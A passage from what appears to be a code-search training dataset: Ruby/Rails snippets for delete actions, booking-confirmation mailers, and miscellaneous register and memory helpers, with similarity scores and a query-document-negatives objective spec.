|format|\n format.html { redirect_to @core_application }\n format.json { head :ok }\n end\n end", "def destroy\n @shared_url = SharedUrl.find(params[:id])\n @shared_url.destroy\n\n respond_to do |format|\n format.html { redirect_to shared_urls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pppams_indicator_base_ref = PppamsIndicatorBaseRef.find(params[:id])\n @pppams_indicator_base_ref.destroy\n\n respond_to do |format|\n format.html { redirect_to pppams_indicator_base_refs_url }\n format.json { head :no_content }\n end\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def delete(type, id)\n http_delete @target, \"#{type_info(type, :path)}/#{Addressable::URI.encode(id)}\", @auth_header, @zone\n end", "def delete\n self.class.delete(url)\n end", "def destroy\n @content_url = ContentUrl.find(params[:id])\n @content_url.destroy\n\n respond_to do |format|\n format.html { redirect_to content_urls_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "def delete(url, resource_name, options = {})\n build_response(resource_name) do\n connection.delete do |req|\n req.url url\n req.body = options.to_json\n end\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end", "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end", "def destroy\n @link_resource.destroy\n respond_to do |format|\n format.html { redirect_to @lab }\n format.json { head :no_content }\n end\n end", "def destroy\n @base.destroy\n redirect_to bases_path\n end", "def destroy\n @club_path = ClubPath.find(params[:id])\n @club_path.destroy\n\n respond_to do |format|\n format.html { redirect_to club_paths_url }\n format.json { head :no_content }\n end\n end", "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "def delete()\n @client.make_request(:delete, @client.concat_user_path(\"#{DOMAIN_PATH}/#{domain_id}/endpoints/#{id}\"))[0]\n end", "def destroy\n @api_v1_social_link_segment.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_social_link_segments_url, notice: 'Social link segment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def delete(url)\n call(url: url, action: :delete)\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def deleteEntityWebsite( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/website\",params)\n end", "def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end", "def destroy\n @shorturl.destroy\n respond_to do |format|\n format.html { redirect_to shorturls_url, notice: 'Shorturl was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @whitelist_url.destroy\n respond_to do |format|\n format.html { redirect_to whitelist_urls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @regurl.destroy\n respond_to do |format|\n format.html { redirect_to regurls_url, notice: 'Regurl was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7013541", "0.66653395", "0.66653395", "0.658072", "0.65619445", "0.64821774", "0.64821774", "0.64821774", "0.64821774", "0.64769125", "0.64567477", "0.6446747", "0.6429665", "0.63629025", "0.63601214", "0.6324692", "0.6324058", "0.6320892", "0.630077", "0.6275", "0.627127", "0.62690604", "0.6268497", "0.626137", "0.6232162", "0.62008613", "0.62004364", "0.61892205", "0.61765283", "0.6165566", "0.616331", "0.616331", "0.6156624", "0.61467916", "0.61300683", "0.6129534", "0.6127479", "0.6111793", "0.6110282", "0.6107595", "0.60946065", "0.60811985", "0.607522", "0.6067308", "0.6066166", "0.6065307", "0.6054042", "0.60482585", "0.60425663", "0.60424715", "0.60416496", "0.6039983", "0.60224855", "0.60150826", "0.6004612", "0.6004425", "0.599528", "0.5991056", "0.5991056", "0.5988004", "0.59865713", "0.5985186", "0.5985186", "0.59835565", "0.5977412", "0.597727", "0.5974368", "0.5973171", "0.59611416", "0.5959922", "0.59521437", "0.5948682", "0.59430075", "0.59388304", "0.5933401", "0.59318274", "0.5925072", "0.5924042", "0.591926", "0.5917731", "0.59114134", "0.5907246", "0.59045595", "0.59027624", "0.59021866", "0.5898873", "0.5896821", "0.5893257", "0.5888522", "0.5887923", "0.58848584", "0.5884743", "0.58747184", "0.586971", "0.58684915", "0.58645594", "0.5858686", "0.58578765", "0.5853878", "0.58533895" ]
0.7637462
0
after_create :send_owner_booking_confirmation_email ^here define logic for when link in confirmation email is pressed, it sends a confirmation to OWNER
def send_user_booking_request_confirmation_email BookingMailer.user_booking_confirmation(self).deliver_now end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send_on_create_confirmation_instructions; end", "def send_on_create_confirmation_instructions; end", "def send_on_create_confirmation_instructions\n end", "def send_on_create_confirmation_instructions\n end", "def send_confirmation_email\n\t\tRentersConfirmationJob.perform_later self\n OwnersConfirmationJob.perform_later self\n\tend", "def send_booking_confirmation_notifications\n\n notify_manager_confirmation\n notify_customer\n \n end", "def send_on_create_confirmation_instructions\n nil\n end", "def send_on_create_confirmation_instructions\n nil\n end", "def referral_confirmation_email\n\n end", "def add_owner(owner)\n @user = User.find(owner)\n @owner = @user\n @app = @user.appointments.create(:booking_id => self.id, :owner => true, :confirmed => true, :status => 'booked')\n if @app.save\n BookingMailer.booking_email(@user, @app.booking, @owner).deliver\n end \n end", "def after_confirmation; end", "def after_create_action\n sign_up_lead_rescuer\n send_email_to_lead_rescuer\n end", "def email_confirm\n end", "def send_on_create_confirmation_instructions\n send_confirmation_instructions\n end", "def send_confirmation_instructions; end", "def confirmation(booking)\n @booking = booking\n mail(to: booking.user.email, subject: \"You have been confirmed!\")\n end", "def booking_confirmed\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def booking_confirmation(booking)\n @booking = booking\n mail to: booking.email, subject: \"Bunchungsanfrage\"\n end", "def send_on_create_confirmation_instructions\n false\n # send_confirmation_instructions\n end", "def after_confirmation\n end", "def booking_confirmed\n NotificationMailer.booking_confirmed\n end", "def send_confirmations_to_owner=(value)\n @send_confirmations_to_owner = value\n end", "def new_booking_created(user_id, booking_id)\n @company = Company.first\n\n @user = User.find(user_id)\n @booking = Booking.find booking_id\n\n mail(to: @company.email, subject: \"For admin: #{ @user.full_name} just created a booking\")\n end", "def booking_created(booked_record)\n @booking = booked_record\n mail to: \"#{@booking.user.email}\", subject: \"Your Booking Status\"\n end", "def reservation_confirmation\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def buyer_confirmed\n end", "def confirm_url\n generate_confirm_code\n save if not new_record?\n project.full_domain + '/recipients/confirm/' + self.confirm_code.to_s\n end", "def confirm_from_email\n bookable_asset = BookableAsset.find_by_euid(params[:euid])\n booking_request = bookable_asset.booking_requests.find(params[:booking_request_id])\n redirect_path = current_user ? user_path(current_user) : login_path\n\n if bookable_asset.confirmed?\n flash[:warn] = \"You've already accepted this booking_request\"\n return redirect_to redirect_path\n end\n booking_request.accept!\n\n flash[:notice] = \"You've accepted this booking_request.\"\n redirect_to redirect_path\n end", "def send_booking_email(info)\n # Send email with booking confirmation\n MemberMailer.booking(self, info).deliver_now\n end", "def new_booking_notification(booking)\n @booking = booking\n mail(\n to: @booking.user_email,\n subject: 'Reserva realizada.')\n end", "def booking_email(reservation) #customer, host, reservtion_id\n @user = reservation.user #appoint reservation user id(email,name)\n @host = reservation.listing.user #appoint listing user(email,name)\n @listing = reservation.listing #appoint reservation. listing(which id)\n\n mail(to: @user.email, subject: \"Thank you for your booking.\") #after all info appointed, send an email to user(customer)\n end", "def deliver_confirmation_email_instructions!\n # TODO\n end", "def send_confirmations_to_owner\n return @send_confirmations_to_owner\n end", "def after_confirmation # Send welcome mail after user is successfully registered\n send_user_mail\n end", "def order_confirmation(buyer)\n @order = Order.last\n @buyer = buyer\n\n mail to: @buyer, subject: \"Order Completed!\", cc: \"foodbylags@gmail.com\"\n end", "def new_booking(booking)\n @booking = booking\n mail(to: booking.event.user.email, subject: \"#{booking.user.first_name} has signed up for #{booking.event.title}!\")\n end", "def send_confirmation_request\n send_confirmation_email\n send_confirmation_notification\n end", "def post_approve_email\n NotificationMailer.post_approve_email('default@email.com')\n end", "def confirm!\n if status == :pending_confirmation\n transaction do\n update(:status => :confirmed)\n # Assign available stock\n assign_available_stock if SystemConfiguration::Variable.get_value('booking.assignation.automatic_resource_assignation', 'false').to_bool\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'confirm_booking',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.confirmed_booking)\n end\n send_booking_confirmation_notifications\n end\n self\n end", "def request_confirmation\n reservation = Reservation.first\n ReservationMailer.request_confirmation(reservation)\n end", "def landlord_booking_confirmed_email(student_id, landlord_id, apartment)\n @student = find_user(student_id)\n @landlord = find_user(landlord_id)\n @apartment = apartment\n mail(to: @landlord&.email, subject: 'Booking Confirmation')\n end", "def after_confirmation\n welcome_email\n queue_matches\n end", "def adminConfirmation\n ContactMailer.adminConfirmation\n end", "def confirmation(user)\n @user = user\n @user.generate_confirmation_code\n mail(to: @user.email, subject: \"Confirmation\") do |f|\n f.html\n end\n\n end", "def signup_confirmation_advisor(advisor)\n @advisor = advisor\n mail to: @advisor.email, subject: \"Advisor account new registration\"\n end", "def create_cleaner_account_confirmation(account)\n\t\t@first_name = account.first_name\n\t\t@last_name = account.last_name\n\t\t@email = account.email\n\n mail(:to => \"tom@cleanjay.ca\", :subject => \"New Cleaner Signup!\")\n end", "def after_confirmation\n if unconfirmed_wca_id.present?\n WcaIdClaimMailer.notify_delegate_of_wca_id_claim(self).deliver_later\n end\n end", "def email_owner(event, apptmnt)\n user = User.find(apptmnt.owner_id)\n payload = {:user => user, :appointment => apptmnt}\n Outboundmail.outbound_event(event, user, payload)\n end", "def booked_not_confirmed\n NotificationMailer.booked_not_confirmed\n end", "def new_booking_email(customer, host, reservation)\n @customer = customer\n @host = host\n @url = \"/listings/#{reservation.listing.id}/reservations\"\n mail(to: host.email, subject: 'New Reservation for your Property')\n end", "def reservation_confirmation(reservation)\n @reservation = reservation\n\n mail to: reservation.email, bcc: \"drillmenowsf@gmail.com\", subject: \"Reservation Confirmation\"\n end", "def send_confirmation_instructions\n self.confirmation_token = nil\n generate_confirmation_token\n send_on_create_confirmation_instructions\n end", "def confirm(reservation)\n @reservation = reservation\n\n mail to: reservation.user.email, subject: \"Your Itinerary\"\n end", "def confirm\n if status == :pending_confirmation and\n not charges.select { |charge| charge.status == :done }.empty?\n transaction do\n self.status = :confirmed\n self.save\n # Assign available stock\n assign_available_stock if SystemConfiguration::Variable.get_value('booking.assignation.automatic_resource_assignation', 'false').to_bool\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'confirm_booking',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.confirmed_booking)\n end\n send_booking_confirmation_notifications\n else\n p \"Could not confirm booking #{id} #{status}\"\n end\n \n self\n end", "def request_confirm_email _user\n @confirmation = find_or_create_for_user(_user)\n mail( to: _user.email, subject: \"Please confirm your email address\")\n end", "def send_on_create_confirmation_instructions\n Devise::Mailer.delay.confirmation_instructions(self)\n end", "def send_confirmation_to(user)\n token_link = \"http://localhost:9292/validate/\" + user.validation_token\n template_locals = { :user => user, :token_url => token_link}\n send_email_to_user(user,\"Frank requests that you verify your email address.\" ,:'mail/new_registration', template_locals)\n end", "def transaction_created(user)\n @user = user\n mail to: user.email, subject: \"Sign Up Confirmation\"\n end", "def send_approve_email\n 'send_approve_email'\n end", "def appointment_confirmation(appoint_obj)\n @doctor = Doctor.find_by_id(appoint_obj.doctor_id)\n @patient = Patient.find_by_id(appoint_obj.patient_id)\n mail(:to => @patient.email, :subject => \"Appointment Approved\")\n end", "def confirm(new_reservation)\n @reservation = new_reservation\n \n mail to: new_reservation.user.email,\n from: \"support@example.com\",\n subject: \"Thanks for your reservation\"\n end", "def after_confirmation\n activate\n end", "def registration_confirm company \n @company = company\n\n mail to: \"#{@company.name} <#{@company.email}>\", subject: \"Confirm your registration with Bid.Aero\"\n end", "def recap_loan_confirm\n to = params['emailAddress']\n from = 'recap@library.columbia.edu'\n confirm_bcc = APP_CONFIG[:recap_loan][:confirm_bcc]\n recap_subject = 'Offsite Pick-Up Confirmation'\n recap_subject += \" [#{params['titleIdentifier']}]\" if params['titleIdentifier']\n recap_subject += \" (#{Rails.env})\" if Rails.env != 'valet_prod'\n subject = recap_subject\n # Make params available within template by using an instance variable\n @params = params\n mail_params = {to: to, from: from, subject: subject}\n mail_params[:bcc] = confirm_bcc if confirm_bcc\n mail(mail_params)\n end", "def confirm!\n welcome_email\n super\n end", "def rental_confirmation(user)\n @user = user\n \n mail to: @user.email_address, subject: \"Rental confirmation\"\n end", "def booked_not_confirmed\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def request_booking_proposed(sender, receiver)\n @url = booking_requests_path\n @sender_name = sender.username.titleize\n mail to: receiver.email,\n subject: \"fitafy Booking Request from #{sender.username}\",\n date: Time.now\n end", "def activation_confirmation(user)\n user_login_link(user)\n\n @greeting = \"Thank you for choosing Contractor\"\n @name = user.name\n\n mail to: user.email\n end", "def custConfirmation\n ContactMailer.custConfirmation\n end", "def send_confirmation_email\n # Do Nothing\n end", "def order_confirmation_buyer(order)\n @order = order\n\n mail(\n to: @order.user.email,\n subject: \" Chouette, tu as commandรฉ #{@order.meal.menu_name}!\"\n )\n end", "def reservation_to_booker(user)\n @user = user \n @url = 'http://example.com/login'\n mail(to: @user.email, subject: 'Reservation Confirmed!')\n end", "def invite_for_booking_process\n UserMailer.invite_for_booking_process(Booking.last)\n end", "def register_confirmation(address)\n \tmail to: address\n # mail to: 'appdente@gmail.com'\n end", "def confirmation_instructions\n \tCustomMailer.confirmation_instructions\n end", "def send_confirmation_email\n UserMailer.confirmation_email(@user).deliver_now\n UserMailer.confirmation_email(@user.find_match).deliver_now\n end", "def confirm_placement\n end", "def applicant_confirmation(applicant)\n @applicant = applicant\n\n mail to: applicant.username + \"@facebook.com\", subject: \"Greenpeace Belgium: Application confirmation\"\n end", "def resend_confirmation_instructions; end", "def signup_confirmation(employee)\n @employee = params[:employee]\n @url = \"http://example.com/login\"\n mail to: employee.email , subject: \"Sign Up Confirmation\"\n end", "def attendee_confirmation(attendee)\n @attendee = attendee\n @url = \"http://www.TMSbigideaday.org\"\n subject = \"Thanks for signing up for The Mountain School's Big Idea Day\"\n\n mail to: @attendee.email,\n subject: subject.to_s\n end", "def send_on_create_confirmation_instructions\n self.devise_mailer.registration_notice(self).deliver_now\n end", "def create\n @booking = Booking.new(booking_params)\n @booking.user_id=current_user.id\n binding.pry\n if (@booking.save)\n binding.pry\n NotificationMailer.notification_two(@booking).deliver!\n NotificationMailer.notification_three(@booking).deliver! \n redirect_to rooms_path,notice: \"the room was successfully booked and a mail has beeb sent sayinng that booking is confirmed and needs to be authorized\"\n else \n binding.pry\n render action: 'new'\n binding.pry\n end\n end", "def confirm_email!\n confirm_email\n save_without_session_maintenance(validate: false)\n end", "def email_activation_confirmation(email)\n setup_email(email.user, email.address)\n @subject += 'A new email address has been activated'\n @body[:url] = \"#{SITE_URL}/\"\n end", "def user_new_item_confirmation\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\", subject: \"Item Confirmation\"\n end", "def admin_trip_booked(user)\n @user=user\n @url=\"www.chartair.us/admin_main\"\n mail(to: 'founders@chartair.us', subject: 'A User has Booked a Trip')\n end", "def reservation_confirmation(reservation_id)\n @reservation = Reservation.find(reservation_id)\n # change this to guest email\n email = 'khun84@gmail.com'\n mail to: email, subject: \"Pairbnb: Reservation confirmation\"\n end", "def email_confirmation\n user = current_resource_owner\n user.email = user.unconfirmed_email\n user.unconfirmed_email = nil\n user.confirmed_at = Time.now\n end", "def email_activate\n self.email_confirmed = true\n self.confirm_token = nil\n save!(:validate => false)\n end", "def email_activate\n self.email_confirmed = true\n self.confirm_token = nil\n save!(:validate => false)\n end", "def signup_confirmation\n FreelanceMailerMailer.signup_confirmation\n end", "def send_mail_to_associates\n user = self.matter_people.assignee\n if(@is_changed && user && User.current_user!=user)\n send_notification_to_responsible(user,self,User.current_user)\n @is_changed = false\n\n true\n end\n end", "def on_create(instructable, address)\n @instructable = instructable\n if address == @instructable.user.email\n @reason = 'you created this class'\n else\n @reason = 'you are an admin of the system'\n end\n\n mail(to: address, subject: \"Class added: #{@instructable.name}\")\n end", "def confirm_email(user)\n @user = user\n @confirm_url = \"http://www.yscalumni.org/confirm/\" + user.confirmation_code\n mail(:to => user.email, :subject => \"Welcome to yscalumni.org! Please confirm your email!\")\n end", "def send_signup_email(user)\n @user = user\n @appointment = Appointment.where(id: @user.appointment_id).first\n mail(\n :to => @user.email,\n :bcc => \"acecprsd@gmail.com\",\n :subject => \"Ace CPR SD Sign-Up Confirmation ##{@user.id}\"\n )\n end", "def confirmation_instructions(user, token, somethingElse)\n AccountMailer.default_url_options[:host] = \"tep-lending-library.herokuapp.com\"\n @resource = user\n @password = user.password\n @token = token\n @name = user.first_name\n @email = user.email\n mail(to: @resource.email, subject: \"Confirm Email\", :tag => \"Welcome to the TEP Lending Library!\")\n mail.delivery_method.settings.merge! @@smtp_settings\n mail\n end", "def send_confirmation_instructions\n unless @raw_confirmation_token\n generate_confirmation_token!\n end\n\n RolloverMailer.confirmation_instructions(self, @raw_confirmation_token).deliver_now\n end", "def confirmation\n @order = params[:order]\n mail to: @order.client.email, subject: \"Ordem de Serviรงo para #{@order.client.razao_social}\"\n end" ]
[ "0.7424014", "0.7424014", "0.71035814", "0.7043836", "0.7024249", "0.6996851", "0.69920903", "0.69920903", "0.68653864", "0.68459797", "0.68210423", "0.6795971", "0.6778838", "0.67645955", "0.673097", "0.66980124", "0.6621812", "0.65859", "0.6569089", "0.65497625", "0.6501754", "0.64835006", "0.6483003", "0.6385747", "0.63725865", "0.6358195", "0.633079", "0.6316532", "0.63123864", "0.6309747", "0.6305209", "0.6286968", "0.6274031", "0.6238137", "0.62340343", "0.62251914", "0.6213713", "0.62089694", "0.61994755", "0.6198549", "0.6197711", "0.61737543", "0.61662996", "0.6164686", "0.61583257", "0.6157648", "0.61400694", "0.61328804", "0.6131155", "0.61244094", "0.6105251", "0.60920286", "0.60897934", "0.6088776", "0.60887235", "0.6076136", "0.60752773", "0.60709506", "0.6068749", "0.606218", "0.6058508", "0.6053541", "0.60514426", "0.60512376", "0.60378075", "0.6032506", "0.60289466", "0.6028277", "0.602529", "0.6009817", "0.598833", "0.59844047", "0.5954269", "0.5944407", "0.5932229", "0.59267753", "0.5926681", "0.5923373", "0.5921248", "0.59189874", "0.591473", "0.5905875", "0.5900845", "0.589951", "0.589697", "0.5886153", "0.5882846", "0.5882636", "0.5882326", "0.5870781", "0.5868289", "0.5868289", "0.5867713", "0.5849922", "0.58459616", "0.58437246", "0.5838519", "0.58382654", "0.58224684", "0.58211046" ]
0.6610384
17
Registers some memory allocated by typelib
def add_allocated_memory(count) self.allocated_memory += count if (allocated_memory - last_allocated_memory) > allocated_memory_threshold GC.start @last_allocated_memory = allocated_memory end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def register_memory\n @register_memory ||= Memory.new(256, \"Register Memory\")\n end", "def register(object); end", "def register(byte, type)\n MAPPINGS[byte] = type\n end", "def register(type, cls); end", "def registers; end", "def register(hook, obj = T.unsafe(nil), &blk); end", "def to_register(compiler, source)\n type = known_object.get_type\n raise \"not sym for #{known_object}\" if type.is_a?(String)\n right = compiler.use_reg( type )\n const = Risc.load_constant(source, known_object , right)\n compiler.add_code const\n if slots_length > 1\n # desctructively replace the existing value to be loaded if more slots\n compiler.add_code Risc.slot_to_reg( source , right ,slots.name, right)\n end\n if slots_length > 2\n # desctructively replace the existing value to be loaded if more slots\n index = Risc.resolve_to_index(slots.name , slots.next_slot.name ,compiler)\n compiler.add_code Risc::SlotToReg.new( source , right ,index, right)\n if slots_length > 3\n raise \"3 slots only for type #{slots}\" unless slots.next_slot.next_slot.name == :type\n compiler.add_code Risc::SlotToReg.new( source , right , Parfait::TYPE_INDEX, right)\n end\n end\n return const.register\n end", "def register( type )\n @types ||= Array.new\n @types << type\n end", "def initialize(registry = T.unsafe(nil)); end", "def register\n end", "def register\r\n \r\n end", "def sw_register\n r = {}\n swregister = SWRegService.new(attributes)\n r[:layout], r[:data] = swregister.send(reg_type)\n r\n end", "def register\n end", "def register\n end", "def register\n end", "def to_register(compiler, source)\n type = known_object.get_type\n raise \"not sym for #{known_object}\" if type.is_a?(String)\n last = Risc.load_constant(source, known_object)\n compiler.add_code last\n if slots_length > 1\n last = Risc.slot_to_reg( source , last.register ,slots.name)\n compiler.add_code(last)\n end\n if slots_length > 2\n last = Risc.slot_to_reg( source , last.register , slots.next_slot.name )\n compiler.add_code(last)\n end\n if slots_length > 3\n raise \"3 slots only for type #{slots}\" unless slots.next_slot.next_slot.name == :type\n last = Risc.slot_to_reg( source , last.register , slots.next_slot.name )\n compiler.add_code(last)\n end\n return last.register\n end", "def <<( reg )\n reg = reg.to_reg() if reg.is_a?( RegisterSlot )\n raise \"not reg value or slot #{reg}\" unless reg.is_a?(RegisterValue)\n to_mem(\"#{reg.class_name} -> #{register.class_name}[#{index}]\" , reg)\n end", "def sys_mem( type , amount)\n r_class = eval( \"Parfait::#{type.object_class.name}\" )\n obj = r_class.allocate\n obj.set_type(type)\n obj\n end", "def register(name, type)\n registry[name] = type\n end", "def register_dynamic(object); end", "def register\n self.class.definitions[name] = self\n self\n end", "def register\n\n\tend", "def register(target, obj)\n end", "def register(...)\n container.register(...)\n end", "def register(&block)\n extend Module.new(&block)\n end", "def register\n \n end", "def register_instance(as_type, instance)\n @@class_registry[as_type.to_sym] = { instance: instance }\nend", "def register(*args)\n registry.register(*args)\n end", "def register(description)\n rc = allocate(description)\n return rc if RenkeiVPE.is_error?(rc)\n\n rc = self.info\n rc = nil if !RenkeiVPE.is_error?(rc)\n\n return rc\n end", "def to_mem( source , from )\n reg_to_slot = Risc.reg_to_slot(source , from , register, index)\n compiler.add_code(reg_to_slot) if compiler\n reg_to_slot.register\n end", "def register_ctype(type, klass)\n ctypes[type] = klass\n end", "def push_reg reg\n @fisk.push reg.to_register\n end", "def set_registers(name , value)\n register_attributes.each do |attr|\n reg = instance_variable_get(\"@#{attr}\".to_sym)\n next unless reg.symbol == name\n new_reg = reg.dup(value)\n instance_variable_set(\"@#{attr}\".to_sym , new_reg)\n end\n end", "def write_register(reg, options={})\n\tjtag.write_dr reg\n end", "def _registers\n @_registers ||= RegCollection.new(self)\n end", "def register domain_model_instnace\n\t\t@domain_model_instnaces.push domain_model_instnace\n\tend", "def reg(id)\n id == REG_MEMORY ? @memory : reg_abs(id)\n end", "def use_reg type , value = nil\n if @regs.empty?\n reg = Register.tmp_reg(type , value)\n else\n reg = @regs.last.next_reg_use(type , value)\n end\n @regs << reg\n return reg\n end", "def serialize_inst_br bytes, instr\n\t\t\tserialize_uint bytes, instr.labelidx\n\t\tend", "def register_block_for(type, &blk); end", "def register(klass, type)\n registry[type] = klass\n end", "def register(klass)\n storage.add(klass) if klass\n end", "def register(curr); end", "def call_add(reg_key, addr, i_reg, m_spec)\n mem_addr = get_mem_addr(addr, i_reg)\n\n adder = @computer.memory.read(mem_addr, m_spec[:l], m_spec[:r])\n sum = @registers['A'].word.to_i + adder.to_i\n @registers['A'].word.from_int(sum)\n end", "def pointer_for(obj)\n ::FFI::MemoryPointer.new(:uint).write_uint(obj.object_id)\n end", "def _register_in_memory(obj, id)\n @lock.synchronize do\n unless obj.is_a?(ObjectBase)\n PEROBS.log.fatal \"You can only register ObjectBase objects\"\n end\n if @in_memory_objects.include?(id)\n PEROBS.log.fatal \"The Store::_in_memory_objects list already \" +\n \"contains an object for ID #{id}\"\n end\n\n @in_memory_objects[id] = obj.object_id\n @stats[:created_objects] += 1\n end\n end", "def register_for(id); end", "def write_register(reg, options = {})\n arm_debug.mem_ap.write_register(reg, options)\n end", "def register(setting, params)\n @registers[setting] << params\n end", "def register(name, klass)\n @registry[name] = klass\n end", "def createRegister symbol\n s(:send, nil, :register,\n s(:sym, symbol),\n s(:lvar, symbol)\n )\n end", "def createRegister symbol\n s(:send, nil, :register,\n s(:sym, symbol),\n s(:lvar, symbol)\n )\n end", "def make_memory_addressable\n hash = {}\n @data.length.times do |index|\n key = HumanComputer::Processor.eight_bitify index\n hash[key] = @data[index]\n end\n @data = hash\n end", "def register(type, words, fillers: [])\n registry[type.to_s] = Dictionnary.new(words, fillers: fillers)\n end", "def register_attributes\n names = [:array , :register]\n names << :index if index.is_a?(RegisterValue)\n names\n end", "def register_attributes\n names = [:array , :register]\n names << :index if index.is_a?(RegisterValue)\n names\n end", "def register_types(api, session)\n info(\"registering msgpack ext types\")\n api.types.each do |type, info|\n klass = Neovim.const_get(type)\n id = info.fetch(\"id\")\n\n @unpacker.register_type(id) do |data|\n klass.new(MessagePack.unpack(data), session)\n end\n end\n end", "def register(key, klass)\n container.register(key, klass)\n end", "def structs\n @__structs__ ||= Structs.new(registry, struct_namespace)\n end", "def register(klass)\n raise TypeError, \"Can only register classes\" unless klass.is_a? Class\n raise ArgumentError, \"To register, a class must have TYPE defined\" unless klass.const_defined? :TYPE\n registered[klass::TYPE] = klass\n end", "def register_codes\n @register_codes ||= @registers.inject({}) do |memo, (_, r)|\n memo[r.opcode] = r\n memo\n end\n end", "def register\n @typeperf = TypeperfWrapper.new(PerfmonProcGetter.new, @interval)\n @counters.each { |counter| @typeperf.add_counter(counter) }\n end", "def register(type_name, klass = nil, **options, &block)\n registry.register(type_name, klass, **options, &block)\n end", "def register(view_hash)\n self.class.register view_hash\n end", "def reg_addr\n @cnt ||= -1\n buffer = 0x61a080\n @cnt += 1\n buffer + @cnt * 8\nend", "def register(template_class, *extensions); end", "def marshal_load(data)\n self.var1 = data['var1']\n self.volatile1 = \"Another value\"\n end", "def register name = \"temp\"\n Registers::Temp.new name, \"r64\"\n end", "def register_implementation(type, impl_module, _ = nil)\n type = type.name if type.is_a?(PAnyType)\n impl_module = impl_module.name if impl_module.is_a?(Module)\n @type_names_per_implementation[impl_module] = type\n @implementations_per_type_name[type] = impl_module\n nil\n end", "def register_spec_type(*args, &block); end", "def register(key, contents = nil, options = EMPTY_HASH, &block)\n if block_given?\n item = block\n options = contents if contents.is_a?(::Hash)\n else\n item = contents\n end\n\n config.registry.call(_container, key, item, options)\n\n self\n rescue FrozenError\n raise FrozenError,\n \"can't modify frozen #{self.class} (when attempting to register '#{key}')\"\n end", "def register(name, &blk)\n name = name.to_sym\n\n @__storage__[name] = blk\n end", "def mem=(p0) end", "def load_reg(idx, addr)\n scall(:prctl, PR_SET_NAME, addr)\n scall(:prctl, PR_GET_NAME, RegRef.new(idx))\nend", "def set_regs\n\t\traise NotImplementedError\n\tend", "def registered_types\n end", "def mem(*) end", "def register_group(object, group = T.unsafe(nil)); end", "def marshal_load(arg0)\n end", "def set_global!(type, name, new_value)\n addr = handler.sym(name)\n raise(Fiddle::DLError, \"cannot find symbol #{name}\") unless addr\n s = struct([\"#{type} value\"])\n tmp = s.new(addr)\n tmp.value = new_value\n tmp.value\n end", "def reserve!\n memory_map.transform_values! { |_| RESERVED }\n end", "def _pack\n class_name = self.class.to_s\n self.__pack = Aqua::Storage.new\n self.__pack.id = @id if @id\n self.__pack[:_rev] = _rev if _rev \n self.__pack[:keys] = []\n self.__pack[:stubs] = []\n self.__pack.merge!( _pack_object( self ) )\n _pack_singletons\n __pack\n end", "def mov_rax_rdx; libc + 0x52c59 ; end", "def register(id, &block)\n ref = __get id\n return ref.__getobj__ if ref && ref.weakref_alive?\n item = block.call\n return nil unless item\n __register id, item\n end", "def register(name, klass, description = nil)\n return false unless self.get(name).nil?\n\n self._list << OpenStruct.new({\n name: name.to_sym,\n klass: klass,\n description: description ? description.strip.gsub(\"\\n\", '') : nil\n })\n\n self._list.last\n end", "def register(object)\n\t\t\traise TypeError, 'handle_packet not defined' if !object.respond_to?(:handle_packet)\n\t\t\t@registered << object\n\t\tend", "def register_module_function(object); end", "def insert assembly, rod\n @bits <<= assembly.object.to_s\n end", "def register_ui thing\n @uis << thing\n end", "def register(interface)\n InvalidInterfaceError.check(interface)\n \n interfaces[interface.to_s.demodulize.underscore.to_sym] = interface\n end", "def register\n ring_server.write [:name, @service, DRbObject.new(@object), @identifier],\n @renewer\n return nil\n end", "def register_type(type, klass, method_name, &block)\n end", "def initialize\n @registry = {}\n end", "def wrap_address\n @fields = {}\n addr = @address\n tag = @type.structure_definition\n\n until tag.empty?\n name, type, length = tag.shift(3)\n ptr = HostPointer.wrap_pointer addr, type.tag, length\n @fields[name] = [type, ptr]\n\n addr += ptr.byte_size\n end\n end", "def register(data)\n code = prepare_code(data.fetch(:code))\n synchronize do\n instances.delete(code)\n table[code] = data\n end\n @codes = nil\n end", "def call_ent(reg_key, addr, i_reg, m_spec)\n val = get_mem_addr(addr, i_reg)\n @registers[reg_key].word.from_int(val)\n end", "def register(instance)\n key = 